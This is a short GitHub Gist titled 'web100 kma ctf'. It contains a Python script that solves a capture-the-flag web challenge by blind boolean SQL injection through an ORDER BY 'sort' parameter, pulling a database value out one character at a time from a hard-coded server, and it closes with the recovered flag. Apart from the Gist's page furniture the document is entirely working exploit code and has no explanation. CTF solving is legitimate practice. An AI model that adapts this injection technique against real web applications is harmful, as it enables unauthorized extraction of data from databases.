Last active
October 4, 2015 02:49
-
-
Save tqkve/af14d3b35dd8866b5e49 to your computer and use it in GitHub Desktop.
web100 kma ctf
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| import requests | |
| true_resp = requests.get('http://128.199.183.44/web100/index.php?sort=rand%28true%29--%20-').text | |
| flag = '' | |
| for i in range(1,50): | |
| print('Testing char {}'.format(i)) | |
| for j in range(32,127): | |
| resp = requests.get('http://128.199.183.44/web100/index.php?sort=rand(ascii(substr((select value from `values` limit 0,1),{},1)) = {})-- -'.format(i, j)).text | |
| if resp == true_resp: | |
| flag += chr(j) | |
| print('Found character: {}'.format(chr(j))) | |
| break | |
| if flag[-1] == '}': | |
| break | |
| print(flag) | |
| #Flag: KMACTF{Th1s_1s_0rd3r_bY_cH4ll4nger} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment